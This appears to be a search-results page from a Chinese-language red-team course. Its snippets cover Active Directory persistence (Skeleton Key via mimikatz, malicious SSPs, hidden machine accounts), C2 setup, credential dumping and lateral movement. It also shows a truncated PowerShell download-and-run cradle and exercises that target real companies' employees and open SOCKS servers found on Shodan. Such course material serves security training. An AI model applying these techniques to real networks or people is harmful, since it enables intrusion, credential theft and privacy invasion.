Advanced Search
Search Results
161 total results found
AdminSDHolder
当我们支配了整个域甚至森林之后,我们想要在域内维持高特权。我们可以通过多种技术实现域内访问持久化,有些技术在之前内容已经涉及过了,例如对高特权的主机 (例如配置非约束委派的) 实现本地持久化、对高特权的主体施加 ACL (例如 GenericAll) 等。接下来,我们介绍一些尚未讨论过的域持久化技术。 AdminSDHolder 是一个具有一些默认安全权限的特殊 AD 容器,用作受保护的帐户和组 (如域管理员、企业管理员等) 的模板,以防止它们被有意或无意的修改,并确保他们的安全。 Account Operat...
万能钥匙
万能钥匙 (Skeleton key) 是一种持久化技术,只适用于域控制器,通过补丁域控制器上的 Lsass.exe 进程以劫持 NTLM 和 Kerberos 认证流程,以允许任何用户以一个相同的密码 mimikatz 进行认证,当然用户原本的密码也依旧有效。 在域控制上运行mimikatz mimikatz misc::skeleton 然后,我们可以用任何账户以及密码 mimikatz 进行认证了。
恶意认证包
在之前的内容里,我们知道 AP/SSP 通过分析登陆数据来认证 Windows 用户,不同的 AP/SSP 对多种登陆过程以及认证协议提供支持。AP/SSP 以 DLL 形式存在,被 LSA 所加载和使用。常见的 AP/SSP 有 NTLM,Kerberos,WDigest,Credman 等。Mimikatz 提供恶意的SSP文件 mimilib.dll,此 SSP 在目标服务器上以明文形式记录本地登录、服务帐户和计算机帐户密码。我们可以通过自动和手动的方式来利用自定义SSP实现持久化。 自动 在 Cobal...
第2章课后作业
练习 1:根据本章所学,使用 Nginx 搭建一个简易的 C2 基础设施 2:使用 Apache2,搭建一个简易的 C2 基础设施 3:使用 webbug_getonly 作为C2侧写,配置 C2 设施 4:查看工具 c2modrewrite (https://github.com/threatexpress/cs2modrewrite) 工具,自动化繁琐的转发器搭建过程。 5:使用 Sourcepoint 工具生成一个自定义的 C2 侧写。 拓展 1:如果有条件,为自己的基础设施注册一个域名,...
使用 SharpHound 枚举
在本章的之前几篇,BloodHound 多次被提及到。Bloodhound (https://github.com/BloodHoundAD/BloodHound) 是一款利用图论揭示 Active Directory 或 Azure 环境中隐藏的、非预期关系的工具。我们可以使用它快速轻松地枚举域对象并找到攻击路径。 配置 BloodHound 要设置 Bloodhound,我们需要配置多个组件:Neo4j 数据库,Sharphound 数据搜集器 和 Bloodhound。虽然可以在 Linux 上设置 Bl...
第3章课后作业
请寻找一家大型企业 (千人以及更大规模),通过 OSINT 以及正常访问等手段,搜集以下信息。请不要使用 nmap,漏洞扫描器等。 练习 1:企业的联系方式、地理位置 2:企业的产品、合作伙伴 3:企业的社交媒体、员工社交媒体、员工联系方式 (邮箱、手机号、地址) 4:企业网段 5:企业子域名 6:企业的子公司以及母公司,得到它们的主站点 (顶级域名) 7:除了 HTTP/HTTPS 外的对公网开放的网络服务,例如 RDP,FTP,SSH等。在这些中,有没有大概率存在严重漏洞的? 8:根据职位信息...
第4章课后作业
练习 1:用 Python 编写对 Raven Medicine PHP 主站点的一键文件上传和代码执行的脚本 2:用 Python 编写对 .Net 应用的一键文件上传和代码执行的脚本 3:用 Python 编写对 .Net 应用的一键 SQL注入脚本 4:用 Python 编写对 Chat.js 应用的一键 NoSQL 注入、哈希破解 (Rockyou 前200行)、代码执行、以及得到代码执行输出结果的脚本 5:设计一个基于客户端攻击的钓鱼邮件语境 (即诱导用户打开附件) 6:设计一个基于窃取凭证的...
第5章课后作业
练习 请使用以下凭证访问对应主机,并将这章节所学应用于这些主机 web01: Passw0rdweb01 dev01: Passw0rddev01 web02: Passw0rdwev02 1:查看这些主机的重要文件 2:查看这些主机保存的凭证 3:利用 AlwaysInstallElevated 在 Web02 上提权 4:使用 DLL 劫持的方法实现 UAC 绕过 5:利用内核漏洞实现提权 6:枚举这些主机所采用的安全控制 7:复现 WinPEAS/LinPEAS 所枚举出来的 CVE 漏...
第6章课后作业
练习 1:复现使用计划任务实现持久化 2:复现使用启动与登陆事件实现持久化 3:尝试使用 Logon Helper 的方法实现持久化 4:在自己的 VM 中安装一广受使用的桌面应用,例如 WPS。寻找一个可以完美劫持 (不用担心破坏原 DLL 的功能,因为所有搜索路径中都不存在该 DLL) 的 DLL,并劫持。 5:寻找一个 DLL 目标并实现 DLL 代理 6:搜索与调研,使用快捷方式实现持久化 7:搜索与调研,使用屏幕保护程序实现持久化 8:修改用户的 bashrc 以自动配置 LD_LIBRA...
第7章课后作业
练习 1:查找1-2 个其他近年关于 AD 的 CVE 漏洞,并测试本实验是否存在。 2:我们已经有了 2 个 Beacon 了,因此我们目前对 4 个域具有资源访问权限,请分别枚举这些域的用户、组、主机、OU、GPO、域信任等内容。 3:使用 PowerShell 版 SharpHound 搜集域信息,并尝试各种选项 4:使用 SQLRecon (https://github.com/skahwah/SQLRecon) 工具来枚举实验室中的 3 个 MSSQL 数据库实例。 5:使用 ldapsearc...
第8章课后作业
练习 1:在本章节,出于教学目的,有的内容我们以白盒的视角进行讲解的,即默认我们已经拿下了某主机/用户,如 ADCS 的利用。让我们回归到黑盒视角,即所有的权限和凭证都需要我们从 0 开始获得。使用截至目前我们所教授的利用手法,整理一下 例如,在 ADCS 的利用小节,我们默认已经知道了 justin 的凭证,从而利用了 ADCS 实现 med-factory 域内的提权。但如果要从黑盒角度,路线是这样的: 步骤 1:在 PROD 域中发现 jason 不需要预认证,使用 ASREPRoasting 攻击,得...
第13章课后作业
练习 1:回顾一下,从黑盒的角度,我们是怎么一步步利用并最终攻陷 back_operator 用户的? 2:尝试制作其他服务的白银票据,并验证是否得到了对应的访问 3:用 Mimikatz 制作黄金票据与白银票据 4:在其他域制作一张钻石票据 5:理解跨域理论的内容 6:使用钻石票据的方法获得对 Dc02 的访问 7:无论使用 krbtgt 的方法还是信任密钥的方法,看看能否最终从 Dc02 移动到 white-bird 域的任意主机上? 8:复现入口信任以及出口信任的利用 9:复现黄金证书攻击
第12章课后作业
练习 1:了解一下 DevOps 简介中所提及到的这些软件。 2:复现针对 Ansible 的这些枚举与攻击方法。 3:查看网络安全方面的新闻,了解一下近几年的一些大规模供应链污染事件。
第11章课后作业
练习 1:根据 PsExec 的原理,手动实现这个过程。提示一下,过程包括了上传服务二进制文件、开启远程服务等。 2:实际上计划任务也可以作为横向移动的方法,研究一下前提条件,以及手动实现这个过程。 3:尝试一下 XiaoLi 修改后的 wmiexec (https://github.com/XiaoliChan/wmiexec-RegOut)。 4:手动实现 DCOM 横向移动的 ShellBrowserWindows 方法。 5:复现 SSH 劫持的 2 种方法。 6:如果有条件,即拥有能与你的团队...
第10章课后作业
练习 1:在 Shodan 等测绘引擎中搜索未实施认证的 Socks 服务器,有没有能实际为自己所用的呢? 2:如果一台内网主机不连通互联网,利用 Socks、端口转发、C2 特性等方法,如何让它连接到我们的团队服务器上呢? 3:如果 2 中的这台主机在更深层的内网 (公网 -> 172.16.1.1.24 -> 10.10.10.1/24),又如何做到呢? 4:在 Web01 上使用 Responder 复现 LLMNR 中毒攻击 5:除了教材中提到的 SCF 文件、URL 文件等,你还能想到哪些其他的...
第9章课后作业
练习 1:导出任意一主机的 SAM 数据库,分别采用在线和离线方法 2:导出任意一主机的 LSA 机密,分别采用在线和离线方法 3:导出任意一主机 (除了 Srv01) 的 LSASS 内存中的凭证,分别采用在线和离线方法 4:复现 PPL 绕过的方法 5:mimikatz 的驱动 mimidrv.sys 也可用于绕过 PPL,请尝试一下 6:在多台靶机上枚举域凭证 (应该能发现不少),看看哪些能被字典攻击所还原出明文? 7:除了教材中举例的 Web02,我们还能在其他主机上从 DPAPI 中得到哪些...
基于 Windows 的其他持久化技术
主机账户 在 Windows 中,主机账户 (中国网友喜爱称为影子账户) 是一种特殊的账户,特点是以 $ 结尾。主机账户也可以享有用户账户的各种权限,甚至提升特权。而主机账户的好处在于使用 net user 命令不会显示出我们后门的主机账户。创建主机账户很简单,正如添加用户账户一样,我们甚至可以将其添加到高权限组中,或赋予 ACL。 我们可以看到,在添加后,net.exe 确实不能显示出该主机帐号。但如果我们直接检视该账户,是能看到各种详细信息的。 尽管不会被 net user 命令枚举出来,蓝队依旧...
Windows事件追踪
Windows 事件追踪器 (ETW) 提供了一种追踪和记录用户模式应用程序和内核模式驱动程序引发的事件的机制。ETW 最初是为了调试和性能监控目的而引入的,但现在它可以用于检视 IoC,例如内存中的 .NET 组件。 当 .NET 组件被加载的时候,Microsoft-Windows-DotNETRuntime 提供者会产生 AssemblyLoad 的事件。让我们在内存中通过 .NET 反射运行 Rubeus.exe $data=(new-object System.Net.WebClient).Downl...
案例分析 Charter Communication 电信公司
有了先前的知识,我们在这一小节进行一个案例分析,对 Charter Communication 电信公司进行 OSINT 侦查。这一节虽然是案例分析,但并不是把这章节之前的内容生搬硬套就行,而是需要灵活新增侦查手段,创造性地搜集信息。 既然是 OSINT,那么意味着我们与目标的交互需要是被动的,包括但不局限于使用搜索引擎搜索有关目标公司的信息、查看社交媒体、whois 查询等。为了降低一点难度,我们可以与目标进行正常的交互,例如浏览网站。但是以下是不能进行的:nmap扫描、漏洞扫描、对公司员工进行社会工程学攻击、...
邮件服务器安全
SMTP 简单邮件传输协议,正如名称所言,简单的实施,无需身份认证,而且发件人地址是可以自己指定的,因此该缺陷可以被利用与伪造和模仿发件人。考虑邮件是社会工程学攻击的重要载体,因此现代企业也配置了如下这些加固邮件服务安全性的措施。从企业角度,他们可以更高效地防范邮件钓鱼攻击、垃圾邮件等,对于网络安全中的进攻方,则增添了社会工程学攻击的难度,我们一起来了解一下。 MX 记录 MX 即 Mail Exchange邮件交换,MX 记录用于标识负责代表域名接收电子邮件的邮件服务器。当有人向与特定域关联的电子邮件地址发送...